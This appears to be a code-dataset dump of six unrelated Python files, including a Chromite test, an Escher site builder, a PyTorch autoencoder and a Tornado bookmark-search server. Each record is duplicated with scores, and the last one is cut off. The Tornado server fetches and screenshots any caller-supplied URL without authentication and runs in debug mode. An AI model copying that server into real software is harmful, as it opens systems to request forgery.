class SysrootLibToolchainUpdateTest(cros_test_lib.RunCommandTempDirTestCase):
"""Sysroot.ToolchanUpdate tests."""
def setUp(self):
"""Setup the test environment."""
# Fake being root to avoid running commands with sudo_run.
self.PatchObject(os, 'getuid', return_value=0)
self.PatchObject(os, 'geteuid', return_value=0)
self.sysroot = sysroot_lib.Sysroot(self.tempdir)
self.emerge = os.path.join(constants.CHROMITE_BIN_DIR, 'parallel_emerge')
def testDefaultUpdateToolchain(self):
"""Test the default path."""
self.PatchObject(toolchain, 'InstallToolchain')
self.sysroot.UpdateToolchain('board')
self.assertCommandContains(
[self.emerge, '--board=board', '--getbinpkg', '--usepkg'])
def testNoLocalInitUpdateToolchain(self):
"""Test the nousepkg and not local case."""
self.PatchObject(toolchain, 'InstallToolchain')
self.sysroot.UpdateToolchain('board', local_init=False)
self.assertCommandContains(['--getbinpkg', '--usepkg'], expected=False)
self.assertCommandContains([self.emerge, '--board=board'])
def testReUpdateToolchain(self):
"""Test behavior when not running for the first time."""
self.PatchObject(toolchain, 'InstallToolchain')
self.PatchObject(self.sysroot, 'IsToolchainInstalled', return_value=True)
self.sysroot.UpdateToolchain('board')
self.assertCommandContains([self.emerge], expected=False)
def testInstallToolchainError(self):
"""Test error handling from the libc install."""
failed = ['cat/pkg', 'cat/pkg2']
failed_cpvs = [package_info.SplitCPV(pkg, strict=False) for pkg in failed]
result = cros_build_lib.CommandResult(returncode=1)
error = toolchain.ToolchainInstallError('Error', result=result,
tc_info=failed_cpvs)
self.PatchObject(toolchain, 'InstallToolchain', side_effect=error)
try:
self.sysroot.UpdateToolchain('board')
except sysroot_lib.ToolchainInstallError as e:
self.assertTrue(e.failed_toolchain_info)
self.assertEqual(failed_cpvs, e.failed_toolchain_info)
except Exception as e:
self.fail('Unexpected exception raised: %s' % type(e))
else:
self.fail('Expected an exception.')
def testEmergeError(self):
"""Test the emerge error handling."""
self.PatchObject(toolchain, 'InstallToolchain')
# pylint: disable=protected-access
command = self.sysroot._UpdateToolchainCommand('board', True)
err = cros_build_lib.RunCommandError(
'Error', cros_build_lib.CommandResult(returncode=1))
self.rc.AddCmdResult(command, side_effect=err)
with self.assertRaises(sysroot_lib.ToolchainInstallError):
self.sysroot.UpdateToolchain('board', local_init=True) | 0.531453 | 0.266041 |
from __future__ import print_function, unicode_literals
from escher.plots import Builder
from escher.urls import get_url
from escher.version import __version__
from escher.urls import top_directory, root_directory
from os.path import join, dirname, realpath
from jinja2 import Environment, PackageLoader
import shutil
# set up jinja2 template location
env = Environment(loader=PackageLoader('escher', 'templates'))
def generate_static_site():
print('Generating static site at %s' % top_directory)
# index file
template = env.get_template('homepage.html')
def static_rel(path):
return 'py/' + path
data = template.render(escher=static_rel(get_url('escher_min', 'local')),
homepage_css=static_rel(get_url('homepage_css', 'local')),
favicon=static_rel(get_url('favicon', 'local')),
logo=static_rel(get_url('logo', 'local')),
documentation=get_url('documentation', protocol='https'),
github=get_url('github', protocol='https'),
github_releases=get_url('github_releases', protocol='https'),
homepage_js=static_rel(get_url('homepage_js', 'local')),
version=__version__,
map_download_url=get_url('map_download', 'local'),
web_version=True,
server_index_url=static_rel(get_url('server_index', 'local')))
with open(join(top_directory, 'index.html'), 'wb') as f:
f.write(data.encode('utf-8'))
# viewer and builder
# make the builder
builder = Builder(safe=True, id='static_map')
filepath = join(top_directory, 'builder')
with open(join(root_directory, get_url('server_index', source='local')), 'r') as f:
index_json = f.read()
html = builder.save_html(filepath=filepath,
overwrite=True,
js_source='local',
protocol=None,
minified_js=True,
static_site_index_json=index_json)
# copy over the source map
escher_map = get_url('escher_min', 'local') + '.map'
shutil.copy(join(root_directory, escher_map), join(top_directory, 'builder', escher_map))
if __name__ == '__main__':
generate_static_site() | py/escher/static_site.py | from __future__ import print_function, unicode_literals
from escher.plots import Builder
from escher.urls import get_url
from escher.version import __version__
from escher.urls import top_directory, root_directory
from os.path import join, dirname, realpath
from jinja2 import Environment, PackageLoader
import shutil
# set up jinja2 template location
env = Environment(loader=PackageLoader('escher', 'templates'))
def generate_static_site():
print('Generating static site at %s' % top_directory)
# index file
template = env.get_template('homepage.html')
def static_rel(path):
return 'py/' + path
data = template.render(escher=static_rel(get_url('escher_min', 'local')),
homepage_css=static_rel(get_url('homepage_css', 'local')),
favicon=static_rel(get_url('favicon', 'local')),
logo=static_rel(get_url('logo', 'local')),
documentation=get_url('documentation', protocol='https'),
github=get_url('github', protocol='https'),
github_releases=get_url('github_releases', protocol='https'),
homepage_js=static_rel(get_url('homepage_js', 'local')),
version=__version__,
map_download_url=get_url('map_download', 'local'),
web_version=True,
server_index_url=static_rel(get_url('server_index', 'local')))
with open(join(top_directory, 'index.html'), 'wb') as f:
f.write(data.encode('utf-8'))
# viewer and builder
# make the builder
builder = Builder(safe=True, id='static_map')
filepath = join(top_directory, 'builder')
with open(join(root_directory, get_url('server_index', source='local')), 'r') as f:
index_json = f.read()
html = builder.save_html(filepath=filepath,
overwrite=True,
js_source='local',
protocol=None,
minified_js=True,
static_site_index_json=index_json)
# copy over the source map
escher_map = get_url('escher_min', 'local') + '.map'
shutil.copy(join(root_directory, escher_map), join(top_directory, 'builder', escher_map))
if __name__ == '__main__':
generate_static_site() | 0.47171 | 0.063978 |
from aql import get_aql_info
info = get_aql_info()
SCRIPTS_PATH = 'scripts'
MODULES_PATH = 'modules'
AQL_MODULE_PATH = MODULES_PATH + '/' + info.module
UNIX_SCRIPT_PATH = SCRIPTS_PATH + '/aql'
WINDOWS_SCRIPT_PATH = SCRIPTS_PATH + '/aql.cmd'
MANIFEST = """include {unix_script}
include {win_script}
""".format(unix_script=UNIX_SCRIPT_PATH,
win_script=WINDOWS_SCRIPT_PATH)
# ==============================================================================
UNIX_SCRIPT = """#!/usr/bin/env python
if __name__ == '__main__':
import {module}
import sys
sys.exit({module}.main())
""".format(module=info.module).replace('\r', '')
# ==============================================================================
WINDOWS_SCRIPT = """@echo off
@echo off
set AQL_ERRORLEVEL=
IF [%AQL_RUN_SCRIPT%] == [YES] goto run
REM Workaround for an interactive prompt "Terminate batch script? (Y/N)"
REM When CTRL+C is pressed
SET AQL_RUN_SCRIPT=YES
CALL %0 %* <NUL
set AQL_ERRORLEVEL=%ERRORLEVEL%
goto exit
:run
SET AQL_RUN_SCRIPT=
SETLOCAL
SET "PATH=%~dp0;%PATH%"
python -O -c "import {module}; import sys; sys.exit({module}.main())" %*
ENDLOCAL & set AQL_ERRORLEVEL=%ERRORLEVEL%
:exit
exit /B %AQL_ERRORLEVEL%
""".format(module=info.module).replace('\r', '').replace('\n', '\r\n')
# ==============================================================================
STANDALONE_WINDOWS_SCRIPT = """@echo off
IF [%AQL_RUN_SCRIPT%] == [YES] (
SET AQL_RUN_SCRIPT=
python -O aql %*
) ELSE (
REM Workaround for an interactive prompt "Terminate batch script? (Y/N)"
REM When CTRL+C is pressed
SET AQL_RUN_SCRIPT=YES
CALL %0 %* <NUL
)
""".replace('\r', '').replace('\n', '\r\n')
# ==============================================================================
def generate_setup_script(long_description):
setup_script = """
import os
import errno
from distutils.core import setup
from distutils.command.install_scripts import install_scripts
# Work around mbcs bug in distutils.
# http://bugs.python.org/issue10945
import codecs
try:
codecs.lookup('mbcs')
except LookupError:
ascii = codecs.lookup('ascii')
func = lambda name, enc=ascii: {{True: enc}}.get(name=='mbcs')
codecs.register(func)
# ==============================================================================
def _removeFile( file ):
try:
os.remove( file )
except OSError as ex:
if ex.errno != errno.ENOENT:
raise
class InstallScripts( install_scripts ):
def __getInstallDir(self):
# use local imports as a workaround for multiprocessing and run_setup
import os.path
import site
install_dir = os.path.normcase( os.path.abspath(self.install_dir) )
sys_prefix = os.path.normcase( site.USER_BASE )
if not install_dir.startswith( sys_prefix ):
return os.path.abspath( os.path.join( self.install_dir, '..' ) )
return None
def run(self):
# use local imports as a workaround for multiprocessing and run_setup
import os
from distutils.command.install_scripts import install_scripts
install_scripts.run( self )
if os.name == 'nt':
install_dir = self.__getInstallDir()
if install_dir:
for script in self.get_outputs():
if script.endswith( ('.cmd','.bat') ):
dest_script = os.path.join(install_dir, os.path.basename(script))
_removeFile( dest_script )
self.move_file( script, dest_script )
if os.name == 'nt':
scripts = [ '{win_script}']
else:
scripts = [ '{unix_script}']
LONG_DESCRIPTION = \"""
{long_descr}
\"""
setup(
name = '{name}',
version = '{version}',
author = '<NAME>',
author_email = '<EMAIL>',
description = '{short_descr}',
long_description = LONG_DESCRIPTION,
url = '{url}',
license = '{license}',
platforms = "All platforms",
scripts = scripts,
package_dir = {{'': '{package_root}'}},
packages = ['{modname}'],
package_data = {{'{modname}': ['tools/*']}},
cmdclass = {{ 'install_scripts' : InstallScripts,}}
)
""".format(short_descr=info.description,
long_descr=long_description,
name=info.name,
modname=info.module,
version=info.version,
url=info.url,
license=info.license,
package_root=MODULES_PATH,
unix_script=UNIX_SCRIPT_PATH,
win_script=WINDOWS_SCRIPT_PATH,
)
return setup_script | make/setup_settings.py | from aql import get_aql_info
info = get_aql_info()
SCRIPTS_PATH = 'scripts'
MODULES_PATH = 'modules'
AQL_MODULE_PATH = MODULES_PATH + '/' + info.module
UNIX_SCRIPT_PATH = SCRIPTS_PATH + '/aql'
WINDOWS_SCRIPT_PATH = SCRIPTS_PATH + '/aql.cmd'
MANIFEST = """include {unix_script}
include {win_script}
""".format(unix_script=UNIX_SCRIPT_PATH,
win_script=WINDOWS_SCRIPT_PATH)
# ==============================================================================
UNIX_SCRIPT = """#!/usr/bin/env python
if __name__ == '__main__':
import {module}
import sys
sys.exit({module}.main())
""".format(module=info.module).replace('\r', '')
# ==============================================================================
WINDOWS_SCRIPT = """@echo off
@echo off
set AQL_ERRORLEVEL=
IF [%AQL_RUN_SCRIPT%] == [YES] goto run
REM Workaround for an interactive prompt "Terminate batch script? (Y/N)"
REM When CTRL+C is pressed
SET AQL_RUN_SCRIPT=YES
CALL %0 %* <NUL
set AQL_ERRORLEVEL=%ERRORLEVEL%
goto exit
:run
SET AQL_RUN_SCRIPT=
SETLOCAL
SET "PATH=%~dp0;%PATH%"
python -O -c "import {module}; import sys; sys.exit({module}.main())" %*
ENDLOCAL & set AQL_ERRORLEVEL=%ERRORLEVEL%
:exit
exit /B %AQL_ERRORLEVEL%
""".format(module=info.module).replace('\r', '').replace('\n', '\r\n')
# ==============================================================================
STANDALONE_WINDOWS_SCRIPT = """@echo off
IF [%AQL_RUN_SCRIPT%] == [YES] (
SET AQL_RUN_SCRIPT=
python -O aql %*
) ELSE (
REM Workaround for an interactive prompt "Terminate batch script? (Y/N)"
REM When CTRL+C is pressed
SET AQL_RUN_SCRIPT=YES
CALL %0 %* <NUL
)
""".replace('\r', '').replace('\n', '\r\n')
# ==============================================================================
def generate_setup_script(long_description):
setup_script = """
import os
import errno
from distutils.core import setup
from distutils.command.install_scripts import install_scripts
# Work around mbcs bug in distutils.
# http://bugs.python.org/issue10945
import codecs
try:
codecs.lookup('mbcs')
except LookupError:
ascii = codecs.lookup('ascii')
func = lambda name, enc=ascii: {{True: enc}}.get(name=='mbcs')
codecs.register(func)
# ==============================================================================
def _removeFile( file ):
try:
os.remove( file )
except OSError as ex:
if ex.errno != errno.ENOENT:
raise
class InstallScripts( install_scripts ):
def __getInstallDir(self):
# use local imports as a workaround for multiprocessing and run_setup
import os.path
import site
install_dir = os.path.normcase( os.path.abspath(self.install_dir) )
sys_prefix = os.path.normcase( site.USER_BASE )
if not install_dir.startswith( sys_prefix ):
return os.path.abspath( os.path.join( self.install_dir, '..' ) )
return None
def run(self):
# use local imports as a workaround for multiprocessing and run_setup
import os
from distutils.command.install_scripts import install_scripts
install_scripts.run( self )
if os.name == 'nt':
install_dir = self.__getInstallDir()
if install_dir:
for script in self.get_outputs():
if script.endswith( ('.cmd','.bat') ):
dest_script = os.path.join(install_dir, os.path.basename(script))
_removeFile( dest_script )
self.move_file( script, dest_script )
if os.name == 'nt':
scripts = [ '{win_script}']
else:
scripts = [ '{unix_script}']
LONG_DESCRIPTION = \"""
{long_descr}
\"""
setup(
name = '{name}',
version = '{version}',
author = '<NAME>',
author_email = '<EMAIL>',
description = '{short_descr}',
long_description = LONG_DESCRIPTION,
url = '{url}',
license = '{license}',
platforms = "All platforms",
scripts = scripts,
package_dir = {{'': '{package_root}'}},
packages = ['{modname}'],
package_data = {{'{modname}': ['tools/*']}},
cmdclass = {{ 'install_scripts' : InstallScripts,}}
)
""".format(short_descr=info.description,
long_descr=long_description,
name=info.name,
modname=info.module,
version=info.version,
url=info.url,
license=info.license,
package_root=MODULES_PATH,
unix_script=UNIX_SCRIPT_PATH,
win_script=WINDOWS_SCRIPT_PATH,
)
return setup_script | 0.203391 | 0.04679 |
import argparse
import cv2
import os
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
from torch.autograd import Variable
# Network architecture of proposed autoencoder
class Color_Generator(nn.Module):
def __init__(self):
super(Color_Generator, self).__init__()
# layers for encoder network
self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, stride=1, padding=1)
self.bn1 = nn.BatchNorm2d(num_features=16)
self.prelu1 = nn.PReLU(num_parameters=16)
self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=2, stride=2, padding=0)
self.bn2 = nn.BatchNorm2d(num_features=32)
self.prelu2 = nn.PReLU(num_parameters=32)
self.conv3 = nn.Conv2d(in_channels=32, out_channels=64, kernel_size=2, stride=2, padding=0)
self.bn3 = nn.BatchNorm2d(num_features=64)
self.prelu3 = nn.PReLU(num_parameters=64)
self.conv4 = nn.Conv2d(in_channels=64, out_channels=3, kernel_size=3, stride=1, padding=1)
self.bn4 = nn.BatchNorm2d(num_features=3)
self.prelu4 = nn.PReLU(num_parameters=3)
# layers for decoder network
self.d_conv1 = nn.ConvTranspose2d(in_channels=3, out_channels=3, kernel_size=3, stride=1, padding=1)
self.d_bn1 = nn.BatchNorm2d(num_features=3)
self.d_relu1 = nn.PReLU(num_parameters=3)
self.d_conv2 = nn.ConvTranspose2d(in_channels=3, out_channels=64, kernel_size=3, stride=1, padding=1)
self.d_bn2 = nn.BatchNorm2d(num_features=64)
self.d_relu2 = nn.PReLU(num_parameters=64)
self.d_conv3 = nn.ConvTranspose2d(in_channels=64, out_channels=32, kernel_size=2, stride=2, padding=0)
self.d_bn3 = nn.BatchNorm2d(num_features=32)
self.d_relu3 = nn.PReLU(num_parameters=32)
self.d_conv4 = nn.ConvTranspose2d(in_channels=32, out_channels=16, kernel_size=2, stride=2, padding=0)
self.d_bn4 = nn.BatchNorm2d(num_features=16)
self.d_relu4 = nn.PReLU(num_parameters=16)
self.d_conv5 = nn.ConvTranspose2d(in_channels=16, out_channels=3, kernel_size=3, stride=1, padding=1)
self.d_bn5 = nn.BatchNorm2d(num_features=3)
self.d_relu5 = nn.PReLU(num_parameters=3)
def forward(self, input):
# encoder
en_layer1 = self.prelu1(self.bn1(self.conv1(input)))
en_layer2 = self.prelu2(self.bn2(self.conv2(en_layer1)))
en_layer3 = self.prelu3(self.bn3(self.conv3(en_layer2)))
en_layer4 = self.prelu4(self.bn4(self.conv4(en_layer3)))
# when using during loss eval of main model
# output = en_layer4
# decoder
de_layer1 = self.d_relu1(self.d_bn1(self.d_conv1(en_layer4)))
de_layer2 = self.d_relu2(self.d_bn2(self.d_conv2(de_layer1)))
# skip connection
de_layer2 = de_layer2 + en_layer3
de_layer3 = self.d_relu3(self.d_bn3(self.d_conv3(de_layer2)))
de_layer3 = de_layer3 + en_layer2
de_layer4 = self.d_relu4(self.d_bn4(self.d_conv4(de_layer3)))
# skip connection
de_layer5 = self.d_relu5(self.d_bn5(self.d_conv5(de_layer4)))
# during training
output = de_layer5
return output | representation.py |
import argparse
import cv2
import os
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
from torch.autograd import Variable
# Network architecture of proposed autoencoder
class Color_Generator(nn.Module):
def __init__(self):
super(Color_Generator, self).__init__()
# layers for encoder network
self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, stride=1, padding=1)
self.bn1 = nn.BatchNorm2d(num_features=16)
self.prelu1 = nn.PReLU(num_parameters=16)
self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=2, stride=2, padding=0)
self.bn2 = nn.BatchNorm2d(num_features=32)
self.prelu2 = nn.PReLU(num_parameters=32)
self.conv3 = nn.Conv2d(in_channels=32, out_channels=64, kernel_size=2, stride=2, padding=0)
self.bn3 = nn.BatchNorm2d(num_features=64)
self.prelu3 = nn.PReLU(num_parameters=64)
self.conv4 = nn.Conv2d(in_channels=64, out_channels=3, kernel_size=3, stride=1, padding=1)
self.bn4 = nn.BatchNorm2d(num_features=3)
self.prelu4 = nn.PReLU(num_parameters=3)
# layers for decoder network
self.d_conv1 = nn.ConvTranspose2d(in_channels=3, out_channels=3, kernel_size=3, stride=1, padding=1)
self.d_bn1 = nn.BatchNorm2d(num_features=3)
self.d_relu1 = nn.PReLU(num_parameters=3)
self.d_conv2 = nn.ConvTranspose2d(in_channels=3, out_channels=64, kernel_size=3, stride=1, padding=1)
self.d_bn2 = nn.BatchNorm2d(num_features=64)
self.d_relu2 = nn.PReLU(num_parameters=64)
self.d_conv3 = nn.ConvTranspose2d(in_channels=64, out_channels=32, kernel_size=2, stride=2, padding=0)
self.d_bn3 = nn.BatchNorm2d(num_features=32)
self.d_relu3 = nn.PReLU(num_parameters=32)
self.d_conv4 = nn.ConvTranspose2d(in_channels=32, out_channels=16, kernel_size=2, stride=2, padding=0)
self.d_bn4 = nn.BatchNorm2d(num_features=16)
self.d_relu4 = nn.PReLU(num_parameters=16)
self.d_conv5 = nn.ConvTranspose2d(in_channels=16, out_channels=3, kernel_size=3, stride=1, padding=1)
self.d_bn5 = nn.BatchNorm2d(num_features=3)
self.d_relu5 = nn.PReLU(num_parameters=3)
def forward(self, input):
# encoder
en_layer1 = self.prelu1(self.bn1(self.conv1(input)))
en_layer2 = self.prelu2(self.bn2(self.conv2(en_layer1)))
en_layer3 = self.prelu3(self.bn3(self.conv3(en_layer2)))
en_layer4 = self.prelu4(self.bn4(self.conv4(en_layer3)))
# when using during loss eval of main model
# output = en_layer4
# decoder
de_layer1 = self.d_relu1(self.d_bn1(self.d_conv1(en_layer4)))
de_layer2 = self.d_relu2(self.d_bn2(self.d_conv2(de_layer1)))
# skip connection
de_layer2 = de_layer2 + en_layer3
de_layer3 = self.d_relu3(self.d_bn3(self.d_conv3(de_layer2)))
de_layer3 = de_layer3 + en_layer2
de_layer4 = self.d_relu4(self.d_bn4(self.d_conv4(de_layer3)))
# skip connection
de_layer5 = self.d_relu5(self.d_bn5(self.d_conv5(de_layer4)))
# during training
output = de_layer5
return output | 0.888215 | 0.373819 |
import os.path
import hashlib
import requests
import tornado.web
import tornado.ioloop
import tornado.gen
import tornado.escape
from io import BytesIO
from PIL import Image
from bs4 import BeautifulSoup as bs4
from datetime import datetime
from selenium import webdriver
from whoosh.query import Every
from whoosh.index import create_in, open_dir
from whoosh.fields import Schema, TEXT, ID, DATETIME
from whoosh.qparser import MultifieldParser
from whoosh.qparser.dateparse import DateParserPlugin
class SearchHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self, search):
ix = open_dir("index")
with ix.searcher() as searcher:
qp = MultifieldParser(['title', 'content', 'url'], ix.schema)
qp.add_plugin(DateParserPlugin())
query = qp.parse(search)
results = searcher.search(query)
self.write(tornado.escape.json_encode([{'title':r.get('title'), 'url':r.get('url'), 'date':r.get('date').strftime("%A, %d. %B %Y %I:%M%p"), 'hash':r.get('hash', 'blank')} for r in results[:10]]))
self.set_header('Content-Type', 'application/json')
class ScreenHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self, url):
try:
driver = webdriver.PhantomJS()
driver.set_window_size(1024, 768)
driver.set_page_load_timeout(30)
driver.get(url)
hashx = hashlib.sha256(url.encode('utf8')).hexdigest()
screenshot = Image.open(BytesIO(driver.get_screenshot_as_png()))
screenshot = screenshot.crop((0,0,1024,768))
screenshot.save('template/'+hashx+'.png', 'png')
driver.quit()
self.write(tornado.escape.json_encode([{'status':'OK', 'hash':hashx}]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
class AllHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self):
try:
ix = open_dir("index")
with ix.searcher() as searcher:
results = searcher.search(Every(), limit=None)
self.write(tornado.escape.json_encode([{'url':r.get('url'), 'hash':r.get('hash', 'blank')} for r in results]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
class AddHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self, url):
try:
r = requests.get(url, timeout=5)
h = bs4(r.text, "lxml")
ix = open_dir("index")
writer = ix.writer()
hashx = hashlib.sha256(url.encode('utf8')).hexdigest()
writer.update_document(title=h.title.text, url=url, date=datetime.utcnow(), content=r.text, hash=hashx)
writer.commit()
self.write(tornado.escape.json_encode([{'status':'OK', 'hash':hashx}]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
class FreshHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self):
try:
schema = Schema(title=TEXT(stored=True), url=TEXT(stored=True), date=DATETIME(stored=True), content=TEXT, hash=ID(stored=True, unique=True))
if not os.path.exists("index"):
os.mkdir("index")
ix = create_in("index", schema)
self.write(tornado.escape.json_encode([{'status':'OK'}]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
def make_app():
handler = [
(r'/search/(.*)', SearchHandler),
(r'/screen/(.*)', ScreenHandler),
(r'/add/(.*)', AddHandler),
(r'/fresh/', FreshHandler),
(r'/all/', AllHandler),
(r'/(.*)', tornado.web.StaticFileHandler, {'path': 'template'}),
]
settings = dict(
template_path="template",
static_path="template",
debug=True,
)
return tornado.web.Application(handler, **settings)
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start() | web.py | import os.path
import hashlib
import requests
import tornado.web
import tornado.ioloop
import tornado.gen
import tornado.escape
from io import BytesIO
from PIL import Image
from bs4 import BeautifulSoup as bs4
from datetime import datetime
from selenium import webdriver
from whoosh.query import Every
from whoosh.index import create_in, open_dir
from whoosh.fields import Schema, TEXT, ID, DATETIME
from whoosh.qparser import MultifieldParser
from whoosh.qparser.dateparse import DateParserPlugin
class SearchHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self, search):
ix = open_dir("index")
with ix.searcher() as searcher:
qp = MultifieldParser(['title', 'content', 'url'], ix.schema)
qp.add_plugin(DateParserPlugin())
query = qp.parse(search)
results = searcher.search(query)
self.write(tornado.escape.json_encode([{'title':r.get('title'), 'url':r.get('url'), 'date':r.get('date').strftime("%A, %d. %B %Y %I:%M%p"), 'hash':r.get('hash', 'blank')} for r in results[:10]]))
self.set_header('Content-Type', 'application/json')
class ScreenHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self, url):
try:
driver = webdriver.PhantomJS()
driver.set_window_size(1024, 768)
driver.set_page_load_timeout(30)
driver.get(url)
hashx = hashlib.sha256(url.encode('utf8')).hexdigest()
screenshot = Image.open(BytesIO(driver.get_screenshot_as_png()))
screenshot = screenshot.crop((0,0,1024,768))
screenshot.save('template/'+hashx+'.png', 'png')
driver.quit()
self.write(tornado.escape.json_encode([{'status':'OK', 'hash':hashx}]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
class AllHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self):
try:
ix = open_dir("index")
with ix.searcher() as searcher:
results = searcher.search(Every(), limit=None)
self.write(tornado.escape.json_encode([{'url':r.get('url'), 'hash':r.get('hash', 'blank')} for r in results]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
class AddHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self, url):
try:
r = requests.get(url, timeout=5)
h = bs4(r.text, "lxml")
ix = open_dir("index")
writer = ix.writer()
hashx = hashlib.sha256(url.encode('utf8')).hexdigest()
writer.update_document(title=h.title.text, url=url, date=datetime.utcnow(), content=r.text, hash=hashx)
writer.commit()
self.write(tornado.escape.json_encode([{'status':'OK', 'hash':hashx}]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
class FreshHandler(tornado.web.RequestHandler):
@tornado.gen.coroutine
def get(self):
try:
schema = Schema(title=TEXT(stored=True), url=TEXT(stored=True), date=DATETIME(stored=True), content=TEXT, hash=ID(stored=True, unique=True))
if not os.path.exists("index"):
os.mkdir("index")
ix = create_in("index", schema)
self.write(tornado.escape.json_encode([{'status':'OK'}]))
self.set_header('Content-Type', 'application/json')
except:
self.write(tornado.escape.json_encode([{'status':'ERROR'}]))
self.set_header('Content-Type', 'application/json')
def make_app():
handler = [
(r'/search/(.*)', SearchHandler),
(r'/screen/(.*)', ScreenHandler),
(r'/add/(.*)', AddHandler),
(r'/fresh/', FreshHandler),
(r'/all/', AllHandler),
(r'/(.*)', tornado.web.StaticFileHandler, {'path': 'template'}),
]
settings = dict(
template_path="template",
static_path="template",
debug=True,
)
return tornado.web.Application(handler, **settings)
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start() | 0.18385 | 0.064713 |
# Created by <NAME>
# National Renewable Energy Laboratory
# Summer 2019
#########################################################################################################################################
#########################################################################################################################################
# Processes OpenFAST Aeroacoustic output file number 2 (AAOutputFile2) which gives sound pressure level (SPL) spectra for each observer
## TODO: Specify observer location in legend
#########################################################################################################################################
#packages
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import weio
from parse import *
import re
import seaborn as sb
#########################################################################################################################################
## User inputs
# location for AAOutputFile2 and Test18_OF2 files
fst_dir = '/Users/pbortolo/work/2_openfast/noise/verifyAA/OpenFAST_IEA_LB_RWT/'#r"C:\\openfast-noise-3\noite-test\_outputs-OF2"
spl_dir = '/Users/pbortolo/work/2_openfast/noise/verifyAA/OpenFAST_IEA_LB_RWT/'
# desired location for processed results
output_dir = "/Users/pbortolo/work/2_openfast/noise/verifyAA/OpenFAST_IEA_LB_RWT/"
# appended name for AAOutputFile2: (i.e. yaw10deg_AAOutputFile2.out => outputname = "yaw10deg_". Leave outputname = "" if no modification
# outputname = ""
AAname = 'AAOutputFile2.out'
OF2name = 'RotorSE_FAST_IEA_landBased_RWT.outb'
# number of revolutions (n) to calculate OASPL
n = 1
# save plot and/or data?
save_fig = False
save_data = False
#########################################################################################################################################
# produces full path
AAfilename = spl_dir + AAname
OF2filename = fst_dir + OF2name
outputfilename = output_dir + "AAOutputFile2"
# read in file data
AA_2 = weio.FASTOutFile(AAfilename).toDataFrame()
OF2 = weio.FASTOutFile(OF2filename).toDataFrame()
# determine number of observers
num_obs = (AA_2.shape[1]-1)/34
# calculate sample time for n revolutions
rpm = OF2[["RotSpeed_[rpm]"]].mean()[0]
time_revs = n*60/rpm
tot_time = AA_2["Time_[s]"].max()
if time_revs < tot_time:
sample_time = tot_time - time_revs
else:
print("Error: Time for number of revolutions exceeds simulation time. Reduce n.")
raise SystemExit('')
# slice AA dataframe for t > sample_time
AA_2 = AA_2[AA_2["Time_[s]"] > sample_time]
AA_2=AA_2.drop("Time_[s]",axis=1)
# convert observer Sound Pressure Level (SPL) to Sound Pressure (P)
AA_2 = 10**(AA_2/10)
# average P for each observer
AA_2 = AA_2.mean()
# convert back from P to SPL
if any(AA_2[i] == 0 for i in range(0,AA_2.size)):
print('Error: Log of zero encountered.')
raise SystemExit('')
else:
AA_2 = 10*np.log10(AA_2)
# convert to dataframe with appropriate columns
cols = ['Observer','Frequency (Hz)','SPL (dB)']
aa_2 = pd.DataFrame(columns=cols)
for i in AA_2.index:
nums = re.findall(r"[-+]?\d*\.\d+|\d+",i)
aa_2.loc[len(aa_2)] = [nums[0],nums[1],AA_2[i]]
AA_2 = aa_2
AA_2["Frequency (Hz)"]=AA_2["Frequency (Hz)"].apply(pd.to_numeric)
AA_2["SPL (dB)"]=AA_2["SPL (dB)"].apply(pd.to_numeric)
if num_obs < 7:
#plot stuff
plt.xscale('log')
ax=sb.lineplot(x=AA_2["Frequency (Hz)"],y=AA_2["SPL (dB)"],style=AA_2["Observer"],legend = "full")
ax.legend(loc='center right',bbox_to_anchor=(1.35,0.5))
plt.subplots_adjust(right=.75)
ax.set_ylim(0,)
if save_fig == True:
plt.savefig(r'{}-contour.png'.format(outputfilename))
plt.show()
else:
print("Too many observers to generate plot. Maximum number of observers is 6.")
# export to csv
if save_data == True:
AA_2.to_csv(r'{}-data.csv'.format(outputfilename)) | post_process/AAOutputFile2_post.py |
# Created by <NAME>
# National Renewable Energy Laboratory
# Summer 2019
#########################################################################################################################################
#########################################################################################################################################
# Processes OpenFAST Aeroacoustic output file number 2 (AAOutputFile2) which gives sound pressure level (SPL) spectra for each observer
## TODO: Specify observer location in legend
#########################################################################################################################################
#packages
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import weio
from parse import *
import re
import seaborn as sb
#########################################################################################################################################
## User inputs
# location for AAOutputFile2 and Test18_OF2 files
